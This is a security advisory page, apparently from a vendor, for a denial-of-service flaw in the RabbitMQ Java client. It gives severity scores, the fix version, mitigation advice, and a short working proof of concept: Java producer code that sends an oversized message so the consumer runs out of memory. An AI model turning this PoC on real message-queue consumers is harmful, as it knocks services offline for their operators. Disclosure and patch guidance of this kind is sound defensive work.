GHSA-mm8h-8587-p46h is a medium-severity (CVSS 4.9) Uncontrolled Resource Consumption vulnerability in com.rabbitmq:amqp-client. 1 public exploit reference exists, so weaponization risk is real. A fix is available for com.rabbitmq:amqp-client — see the affected versions and patch details below.
RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mm8h-8587-p46h.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mm8h-8587-p46h plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
com.rabbitmq:amqp-clientReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.
PoC
RbbitMQ
- Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
- Start RabbitMQ
Producer
- Build a String of length 256M and send it to Consumer
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Producer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
String s = "A";
for(int i=0;i<28;++i){
s = s + s;
System.out.println(i);
}
amqpTemplate.convertAndSend(s);
System.out.println("Send Finish");
}
}
Consumer
- First set the heap memory size to 128M
- Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
Object o = amqpTemplate.receiveAndConvert();
if(o != null){
String s = o.toString();
System.out.println("Received Length : " + s.length());
}else{
System.out.println("null");
}
}
}
Results
- Run the Producer first, then the Consumer
- Consumer throws OOM Exception
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.rabbitmq:amqp-client | all versions | 5.18.0com.rabbitmq:amqp-client:5.18.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.rabbitmq:amqp-client, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update com.rabbitmq:amqp-client to 5.18.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mm8h-8587-p46h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mm8h-8587-p46h can be triaged on real exposure rather than presence alone.
Tailored to GHSA-mm8h-8587-p46h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mm8h-8587-p46h in your dependencies?
O3 Security finds GHSA-mm8h-8587-p46h across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.